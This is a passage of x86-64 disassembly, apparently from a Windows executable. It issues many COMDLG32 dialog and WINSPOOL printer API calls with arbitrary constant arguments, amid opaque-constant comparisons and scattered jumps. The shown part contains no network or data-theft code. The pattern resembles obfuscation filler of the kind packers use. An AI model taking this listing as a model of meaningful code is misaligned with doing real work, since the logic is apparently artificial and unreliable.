mov rax, qword [rsp + 0xe1e0]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rax, qword [rsp + 0x7010]
mov ecx, dword [rsp + 0x1e29c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x11234], eax
movzx ecx, word [rsp + 0x8218]
movzx eax, word [rsp + 0x67d0]
add ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov rax, qword [rsp + 0x5b28]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x1d60]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x16938]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x11234]
call fcn.1400551f0
jmp 0x1402016ad
lea rax, [rsp + 0x6598]
mov qword [0x140244460], rax
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x13120]
add ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
lea rax, [rsp + 0x1f220]
mov qword [rsp + 0x131a8], rax
mov eax, dword [rsp + 0x166e4]
mov dword [rsp + 0x2d478], eax
cmp dword [rsp + 0x2d478], 0x644ac75b
je 0x140061585
jmp 0x140061659
mov eax, dword [rsp + 0x2be38]
mov ecx, dword [rsp + 0x19e60]
add ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
mov dword [rsp + 0x2d47c], eax
cmp dword [rsp + 0x2d47c], 0xd5
je 0x1400615d0
cmp dword [rsp + 0x2d47c], 0xe3
je 0x140061637
jmp 0x140061654
lea rcx, [rsp + 0x2030]
call qword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [rsp + 0xcdb8], eax
mov rax, qword [rsp + 0x9750]
mov rcx, qword [rsp + 0x1aee8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x29528], rax
mov rcx, qword [rsp + 0x7010]
mov eax, dword [rsp + 0x11234]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x2ac70]
mov dword [rax], ecx
lea rcx, [rsp + 0x7510]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x2a808], eax
jmp 0x140061654
mov rax, qword [0x1402412d0]
mov rcx, qword [rsp + 0x14a60]
sub rcx, rax
mov rax, qword [rsp + 0x275b8]
mov qword [rax], rcx
jmp 0x140201613
mov eax, dword [rsp + 0x166e4]
mov dword [rsp + 0x2d480], eax
cmp dword [rsp + 0x2d480], 0xf3f1dcb2
je 0x140061679
jmp 0x140061782
lea rcx, [rsp + 0x1a7e0]
call qword [sym.imp.COMDLG32.dll_ChooseFontA]
mov dword [rsp + 0xcdb8], eax
mov rdx, qword [rsp + 0x23188]
mov rax, qword [rsp + 0x29528]
mov rdx, qword [rdx]
or rdx, rax
mov rcx, qword [rsp + 0x6598]
mov rax, qword [0x1402412c8]
xor rax, rcx
cmp rdx, rax
je 0x140061744
mov eax, dword [rsp + 0x21b5c]
mov dword [rsp + 0x2d484], eax
cmp dword [rsp + 0x2d484], 0xa0ff0ec5
je 0x1400616dc
jmp 0x14006171b
movzx edx, word [rsp + 0x67d0]
movzx eax, word [rsp + 0x8218]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
movsx eax, byte [rsp + 0xeb9c]
movsx ecx, byte [rsp + 0xf250]
and eax, ecx
mov byte [rsp + 0x18b28], al
jmp 0x140061744
mov r9d, dword [rsp + 0x225f8]
mov rax, qword [rsp + 0x8f38]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x225f8]
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rax]
call fcn.1400551f0
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x16b98]
mov word [rax], cx
movsx eax, byte [rsp + 0xeb9c]
movsx ecx, byte [rsp + 0xf250]
add eax, ecx
mov byte [rsp + 0x18b28], al
jmp 0x1402015af
mov rax, qword [rsp + 0x2ac70]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x20e58]
add ecx, dword [rax]
mov rax, qword [rsp + 0xe198]
mov dword [rax], ecx
mov rax, qword [rsp + 0x131a8]
movsx eax, word [rax]
mov dword [rsp + 0x2d488], eax
cmp dword [rsp + 0x2d488], 0x5294
je 0x1400617c4
jmp 0x1400618e2
mov r8w, 0xff
mov rdx, qword [rsp + 0x28aa0]
mov rcx, qword [rsp + 0x81e8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0x1abc0], ax
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov edx, dword [rsp + 0x19e60]
sub edx, eax
mov ecx, dword [rsp + 0x166e4]
mov eax, dword [rsp + 0x21b5c]
sub eax, ecx
cmp edx, eax
ja 0x14006184c
mov rcx, qword [rsp + 0x9750]
mov rax, qword [rsp + 0x1aee8]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x275b8]
mov rcx, qword [rcx]
mov rax, qword [0x140244ef8]
sub rax, rcx
mov qword [rsp + 0x14a60], rax
mov al, byte [rsp + 0xf250]
mov byte [rsp + 0x2d48c], al
cmp byte [rsp + 0x2d48c], 0x46
je 0x1400618be
cmp byte [rsp + 0x2d48c], 0x50
je 0x140061870
jmp 0x1400618dd
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x225f8]
add ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
lea rcx, [rsp + 0x27b50]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x24af8], eax
mov rcx, qword [rsp + 0x6598]
mov rax, qword [rsp + 0x1aee8]
sub rax, rcx
mov qword [0x1402412c8], rax
jmp 0x1400618dd
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xeb9c]
or ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
jmp 0x1400619d7
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x22928]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov rax, qword [rsp + 0x1aee8]
movzx ecx, al
mov rdx, qword [rsp + 0x29528]
sar rdx, cl
mov rcx, qword [0x1402412c8]
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
shl rax, cl
cmp rdx, rax
jle 0x1400619d7
lea rdx, [rsp + 0x9d38]
mov rcx, qword [rsp + 0x5108]
call sub.WINSPOOL.DRV_ResetPrinterA
mov dword [rsp + 0x18cc0], eax
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x11564]
sub ecx, eax
mov rax, qword [rsp + 0x18858]
mov word [rax], cx
lea r9, [rsp + 0x22928]
mov r8d, 0x20
mov rdx, qword [rsp + 0x9e20]
mov rcx, qword [rsp + 0x24700]
call sub.WINSPOOL.DRV_SetPortA
mov dword [rsp + 0x2342c], eax
movsx eax, word [rsp + 0x1abc0]
movsx ecx, word [rsp + 0x1f220]
sub eax, ecx
mov word [rsp + 0x11564], ax
mov rcx, qword [rsp + 0x275b8]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x14a60]
mov rax, qword [rsp + 0x275b8]
mov qword [rax], rcx
mov eax, dword [rsp + 0x19e60]
mov dword [rsp + 0x1f25c], eax
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x21d38]
add rcx, rax
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
mov rax, qword [rsp + 0x2ac70]
mov eax, dword [rax]
mov dword [rsp + 0x4d30], eax
mov rax, qword [rsp + 0xdb98]
movsx edx, word [rax]
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [0x1402412d8], ax
movzx ecx, word [rsp + 0x67d0]
movzx eax, word [rsp + 0x8218]
and ecx, eax
mov rax, qword [rsp + 0x22928]
mov word [rax], cx
mov eax, dword [rsp + 0x26148]
mov edi, dword [rsp + 0x166e4]
sub edi, eax
mov rdx, qword [rsp + 0xe1e0]
mov rax, qword [rsp + 0x16938]
mov ecx, dword [rax]
mov eax, dword [rdx]
xor eax, ecx
cmp edi, eax
jae 0x140061b9f
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1aee8]
sar rax, cl
mov rcx, rax
mov rax, qword [0x140244460]
mov rax, qword [rax]
add rax, qword [rsp + 0x21d38]
cmp rcx, rax
jg 0x140061ade
movzx r9d, word [0x1402412d8]
mov r8, qword [rsp + 0x275b8]
mov r8, qword [r8]
mov rdx, qword [rsp + 0x14a60]
mov rcx, qword [rsp + 0x14a60]
call fcn.140055970
mov r8, qword [rsp + 0x19d0]
mov rdx, qword [rsp + 0x2b410]
mov rcx, qword [rsp + 0x1c518]
call sub.WINSPOOL.DRV_ConfigurePortA
mov dword [rsp + 0x6dc], eax
movsx ecx, byte [rsp + 0xf250]
movsx eax, byte [rsp + 0x18b28]
and ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
movzx eax, byte [rsp + 0x65c8]
movzx ecx, byte [rsp + 0x19cf8]
add eax, ecx
mov byte [rsp + 0x9ad8], al
lea rax, [rsp + 0x2030]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xdb98]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5b
lea r9, [rsp + 0x2030]
mov r8d, 0xf3
mov rdx, qword [rsp + 0x1c518]
mov ecx, 0xfe
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [rsp + 0x23634], eax
movzx ecx, word [rsp + 0x8218]
movzx eax, word [rsp + 0x13120]
add ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
jmp 0x140061c1e
mov rdx, qword [rsp + 0x9750]
mov rax, qword [rsp + 0x29528]
mov rdx, qword [rdx]
or rdx, rax
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
shl rax, cl
cmp rdx, rax
jge 0x140061c1e
movsx edx, byte [rsp + 0xeb9c]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x18b28], al
mov rax, qword [rsp + 0x14a80]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x67d0]
movzx edx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
call fcn.140203290
lea rax, [rsp + 0x1e838]
mov qword [rsp + 0x6168], rax
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x258a4]
sub ecx, eax
mov rax, qword [rsp + 0xe198]
mov dword [rax], ecx
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov rdx, qword [rsp + 0x21d38]
sub rdx, rax
mov rcx, qword [0x1402412c8]
mov rax, qword [rsp + 0x29528]
add rax, rcx
cmp rdx, rax
jge 0x140061c9e
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6598]
or rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
jmp 0x140061e03
mov rax, qword [rsp + 0xe198]
mov edx, dword [rax]
mov rax, qword [rsp + 0x20e58]
add edx, dword [rax]
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rsp + 0x4d30]
mov eax, dword [rax]
and eax, ecx
cmp edx, eax
jg 0x140061e03
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
mov dword [0x1402453f0], eax
movzx eax, word [rsp + 0x8218]
mov dword [rsp + 0x2d490], eax
cmp dword [rsp + 0x2d490], 0x198
je 0x140061cfe
jmp 0x140061e03
movzx eax, word [rsp + 0x8218]
mov dword [rsp + 0x2d494], eax
cmp dword [rsp + 0x2d494], 0x1e3
je 0x140061df4
cmp dword [rsp + 0x2d494], 0x8a9
je 0x140061d30
jmp 0x140061e03
mov rcx, qword [rsp + 0x275b8]
mov rcx, qword [rcx]
mov rax, qword [0x140244ef8]
xor rax, rcx
mov qword [rsp + 0x14a60], rax
lea rax, [rsp + 0xf250]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x131a8]
mov qword [rsp + 0x20], rax
mov r9d, 0xa0
lea r8, [rsp + 0x5b28]
mov edx, 0x6e
mov rcx, qword [rsp + 0x26918]
call sub.WINSPOOL.DRV_EnumFormsA
mov dword [rsp + 0xa928], eax
mov rax, qword [rsp + 0x29a80]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x105d0]
mov byte [rax], cl
mov rax, qword [rsp + 0xe1e0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x1c578]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x67d0]
mov rdx, qword [rsp + 0x14a60]
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
call fcn.140055f80
jmp 0x140061e03
movzx eax, word [0x1402412d8]
mov word [rsp + 0x1abc0], ax
movzx edx, word [rsp + 0x67d0]
movzx eax, word [rsp + 0x8218]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x13120], ax
lea rax, [rsp + 0x9ad8]
mov qword [rsp + 0x239c0], rax
mov rax, qword [rsp + 0x275b8]
mov rax, qword [rax]
mov qword [rsp + 0x2d498], rax
movabs rax, 0x1b0f6ee96f944d38
cmp qword [rsp + 0x2d498], rax
je 0x140061e6f
movabs rax, 0xfaca549978e6f09f
cmp qword [rsp + 0x2d498], rax
je 0x140061ec8
jmp 0x140061eec
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0x6168]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x13120]
mov rax, qword [rsp + 0x1c578]
movzx r8d, word [rax]
mov rdx, qword [rsp + 0x14a60]
movzx ecx, word [rsp + 0x8218]
call fcn.140055f80
jmp 0x140061eec
mov r8, qword [rsp + 0x1c518]
mov rdx, qword [rsp + 0xa270]
mov rcx, qword [rsp + 0x15528]
call sub.WINSPOOL.DRV_ConfigurePortA
mov dword [rsp + 0x27358], eax
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x18858]
movsx eax, word [rax]
add edx, eax
movsx eax, word [0x1402412d8]
movsx ecx, word [rsp + 0x1f220]
and eax, ecx
cmp edx, eax
jle 0x140061fb8
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rsp + 0x29528]
sub rax, rcx
mov qword [rsp + 0x6598], rax
mov eax, dword [rsp + 0x166e4]
mov ecx, dword [rsp + 0x1f25c]
sub ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
lea rax, [rsp + 0x15da4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3588]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xa2
lea r9, [rsp + 0x1abc0]
mov r8d, 0xd1
mov rdx, qword [rsp + 0x19d0]
mov ecx, 0x98
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [rsp + 0x20000], eax
mov rcx, qword [rsp + 0x19120]
mov rax, qword [rsp + 0x21d38]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [0x140244460]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x15368]
mov eax, dword [rsp + 0x4d30]
sub eax, ecx
mov dword [rsp + 0x258a4], eax
mov al, byte [rsp + 0xeb9c]
mov byte [rsp + 0x2d4a0], al
cmp byte [rsp + 0x2d4a0], 0
je 0x140061fec
jmp 0x140201449
lea rax, [rsp + 0x11564]
mov qword [rsp + 0x252b0], rax
mov eax, dword [rsp + 0x4d30]
mov dword [rsp + 0x2d4a4], eax
cmp dword [rsp + 0x2d4a4], 0xb64be61
je 0x14006202d
cmp dword [rsp + 0x2d4a4], 0x3b35ddd2
je 0x1400621e9
jmp 0x140062208
lea rax, [rsp + 0x1690]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xd7
lea rax, [rsp + 0x153c0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x11234]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x252b0]
mov qword [rsp + 0x20], rax
mov r9d, 0xbb
mov r8, qword [rsp + 0x1c518]
mov edx, 0x17
mov rcx, qword [rsp + 0x24680]
call sub.WINSPOOL.DRV_EnumPrinterDataA
mov dword [rsp + 0x21b5c], eax
mov rax, qword [rsp + 0x2ac70]
mov eax, dword [rax]
movzx ecx, al
mov edx, dword [rsp + 0x15368]
shl edx, cl
mov eax, dword [rsp + 0x4d30]
movzx ecx, al
mov eax, dword [rsp + 0x68c8]
sar eax, cl
cmp edx, eax
je 0x14006219b
mov rcx, qword [rsp + 0x275b8]
mov rax, qword [rsp + 0x14a60]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x275b8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x3588]
mov al, byte [rax]
mov byte [rsp + 0x2d4a8], al
cmp byte [rsp + 0x2d4a8], 0x78
je 0x1400620ff
jmp 0x14006217a
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1aee8], rax
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1aee8]
add rcx, rax
mov rax, qword [0x140244460]
mov qword [rax], rcx
mov eax, dword [rsp + 0x1e838]
mov dword [rsp + 0x166e4], eax
lea r9, [rsp + 0x6520]
mov r8d, 0xad
mov rdx, qword [rsp + 0x81e8]
mov rcx, qword [rsp + 0x11f30]
call sub.WINSPOOL.DRV_SetFormA
mov dword [rsp + 0xcdb8], eax
jmp 0x140062199
mov rax, qword [rsp + 0x105d0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
and ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
jmp 0x1400621e7
movzx edi, byte [rsp + 0x9ad8]
movzx eax, byte [rsp + 0x1522c]
xor edi, eax
movzx edx, byte [rsp + 0x19cf8]
mov rax, qword [rsp + 0x12e08]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
cmp edi, eax
je 0x1400621e7
movzx edx, word [rsp + 0x67d0]
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x13120], ax
jmp 0x140062208
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xeb9c]
add ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rax, qword [rsp + 0x18858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1abc0]
sub eax, ecx
mov word [rsp + 0x11564], ax
mov rax, qword [rsp + 0x21d38]
mov rdx, qword [rsp + 0x6598]
sub rdx, rax
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1aee8]
add rax, rcx
cmp rdx, rax
jle 0x14006227f
lea r9, [rsp + 0x3588]
mov r8d, 0x3b
mov rdx, qword [rsp + 0x81e8]
mov rcx, qword [rsp + 0x1c518]
call sub.WINSPOOL.DRV_SetPortA
mov dword [rsp + 0x18cc0], eax
jmp 0x1400622c8
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1d60]
mov edx, dword [rax]
shl edx, cl
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
sar eax, cl
cmp edx, eax
je 0x1400622c8
movzx eax, byte [rsp + 0x1522c]
movzx ecx, byte [rsp + 0x9ad8]
or eax, ecx
mov byte [rsp + 0x19cf8], al
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
mov dword [rsp + 0x2d4ac], eax
cmp dword [rsp + 0x2d4ac], 0
je 0x1400622e9
jmp 0x140201355
movzx eax, word [rsp + 0x8218]
movzx ecx, word [rsp + 0x13120]
sub eax, ecx
mov word [0x1402412dc], ax
mov eax, dword [rsp + 0x166e4]
mov ecx, dword [rsp + 0x1e838]
add ecx, eax
mov rax, qword [rsp + 0x6168]
mov dword [rax], ecx
mov eax, dword [rsp + 0x1c058]
mov dword [rsp + 0x2d4b0], eax
cmp dword [rsp + 0x2d4b0], 0
je 0x140062339
jmp 0x1400623c9
mov al, byte [rsp + 0xeb9c]
mov byte [rsp + 0x2d4b4], al
cmp byte [rsp + 0x2d4b4], 0
je 0x140062353
jmp 0x1400623aa
lea rax, [rsp + 0x11564]
mov qword [rsp + 0x2b108], rax
movzx ecx, word [rsp + 0x13120]
movzx eax, word [rsp + 0x67d0]
sub ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
movzx eax, byte [rsp + 0x19cf8]
mov byte [rsp + 0x21ab0], al
movsx eax, byte [rsp + 0xf250]
movsx ecx, byte [rsp + 0x18b28]
and eax, ecx
mov byte [rsp + 0xeb9c], al
jmp 0x1400623c7
movzx ecx, word [rsp + 0x13120]
movzx eax, word [rsp + 0x67d0]
sub ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
jmp 0x1400623f5
mov rax, qword [rsp + 0x18858]
movzx r9d, word [rax]
mov r8, qword [rsp + 0x14a60]
mov rdx, qword [rsp + 0x14a60]
mov rcx, qword [rsp + 0x275b8]
mov rcx, qword [rcx]
call fcn.140055970
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x1c058]
add eax, ecx
mov dword [rsp + 0x11234], eax
mov al, byte [rsp + 0x21ab0]
mov byte [rsp + 0x2d4b8], al
cmp byte [rsp + 0x2d4b8], 0
je 0x1400624bc
cmp byte [rsp + 0x2d4b8], 0x9b
je 0x14006243a
jmp 0x140201304
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9750]
add rax, qword [rcx]
mov qword [0x1402412c8], rax
lea rax, [rsp + 0x2a0d8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x9b
lea r9, [rsp + 0x29f28]
mov r8d, 0x8d
mov edx, 0x71
mov rcx, qword [rsp + 0x24680]
call sub.WINSPOOL.DRV_GetJobA
mov dword [rsp + 0x2e30], eax
mov rcx, qword [rsp + 0x14a60]
mov rax, qword [rsp + 0x275b8]
mov rax, qword [rax]
shr rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x275b8]
mov qword [rax], rcx
jmp 0x140201304
lea rax, [rsp + 0xf250]
mov qword [rsp + 0xd908], rax
mov rax, qword [rsp + 0x29528]
mov rdx, qword [rsp + 0x21d38]
xor rdx, rax
mov rcx, qword [rsp + 0x1aee8]
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
shl rax, cl
cmp rdx, rax
jle 0x14006254b
mov rax, qword [rsp + 0x18858]
movsx edx, word [rax]
mov rax, qword [rsp + 0x2b108]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x11564], ax
mov r9, qword [rsp + 0x9750]
mov r9, qword [r9]
movzx r8d, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x264f8]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
call fcn.1400561c0
lea rax, [rsp + 0x1abc0]
mov qword [rsp + 0x1c0d0], rax
movzx ecx, byte [rsp + 0x9ad8]
movzx eax, byte [rsp + 0x1522c]
and ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
lea rax, [rsp + 0x18b28]
mov qword [rsp + 0x3620], rax
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
mov rcx, qword [0x1402412c8]
add rcx, rax
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
lea rax, [rsp + 0x68c8]
mov qword [rsp + 0x1c678], rax
lea rax, [rsp + 0x13120]
mov qword [0x140242b48], rax
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x23568]
add eax, dword [rcx]
mov dword [rsp + 0x26148], eax
mov eax, dword [rsp + 0x258a4]
mov dword [rsp + 0x2d4bc], eax
cmp dword [rsp + 0x2d4bc], 0
je 0x14006273c
mov rcx, qword [rsp + 0x9750]
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
lea rax, [rsp + 0x19330]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x29f28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x3d
lea rax, [rsp + 0x9d38]
mov qword [rsp + 0x20], rax
mov r9d, 0x49
mov r8d, 0x8c
mov edx, 0xee
mov rcx, qword [rsp + 0x4ab8]
call sub.WINSPOOL.DRV_EnumJobsA
mov dword [rsp + 0x2a808], eax
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x1e29c]
sub eax, ecx
mov dword [rsp + 0x4d30], eax
mov rcx, qword [rsp + 0x275b8]
mov rax, qword [rsp + 0x14a60]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x275b8]
mov qword [rax], rcx
lea rax, [rsp + 0x9750]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x96
lea r9, [rsp + 0x20978]
mov r8d, 0xad
mov rdx, qword [rsp + 0x135f8]
mov rcx, qword [rsp + 0x24680]
call sub.WINSPOOL.DRV_GetFormA
mov dword [rsp + 0x1d030], eax
jmp 0x1402014e1
movsx eax, word [rsp + 0x11564]
mov dword [rsp + 0x2d700], eax
cmp dword [rsp + 0x2d700], 0x639b
je 0x1402014bf
cmp dword [rsp + 0x2d700], 0x639e
je 0x140201474
jmp 0x1402014e1
movsx ecx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0xdb98]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x8218]
movzx edx, byte [rsp + 0x9ad8]
movzx ecx, word [rsp + 0x8218]
call fcn.140203290
jmp 0x1402014e1
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1f220], ax
mov edx, 0x83
mov rcx, qword [rsp + 0x1b0e0]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x7918], rax
mov rax, qword [rsp + 0x29a80]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x12e08]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x19cf8], al
movzx ecx, word [rsp + 0x8218]
movzx eax, word [rsp + 0x13120]
add ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov qword [rsp + 0x2d708], rax
movabs rax, 0x41ee68faf455d44c
cmp qword [rsp + 0x2d708], rax
je 0x140201576
movabs rax, 0x65c3c31d6c928e1b
cmp qword [rsp + 0x2d708], rax
je 0x14020157d
jmp 0x1402015af
call fcn.140203170
jmp 0x1402015af
mov dword [rsp + 0x20], 0xc8
lea r9, [rsp + 0x239c0]
mov r8d, 0x20
mov rdx, qword [rsp + 0x2bbe0]
mov rcx, qword [rsp + 0xe40]
call sub.WINSPOOL.DRV_SetPrinterDataA
mov dword [rsp + 0x166e4], eax
mov rax, qword [rsp + 0x2a0d8]
mov al, byte [rax]
mov byte [rsp + 0x2d710], al
cmp byte [rsp + 0x2d710], 0x82
je 0x1402015cc
jmp 0x1402015f3
mov r9, qword [0x1402412c8]
movzx r8d, byte [rsp + 0xeb9c]
movzx edx, byte [rsp + 0xeb9c]
mov rcx, qword [rsp + 0x29528]
call fcn.1400561c0
jmp 0x140201613
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6598]
sar rax, cl
mov qword [0x1402412c8], rax
lea rcx, [rsp + 0x1a210]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x2342c], eax
mov rax, qword [rsp + 0x29a80]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x2a0d8]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x19cf8], al
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
lea rcx, [rsp + 0x6520]
call qword [sym.imp.COMDLG32.dll_ReplaceTextA]
mov qword [rsp + 0xa270], rax
mov r9, qword [rsp + 0x9750]
mov r9, qword [r9]
movzx r8d, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x3588]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x6598]
call fcn.1400561c0
mov rax, qword [rsp + 0x12e08]
movzx edi, byte [rax]
movzx eax, byte [rsp + 0x9ad8]
sub edi, eax
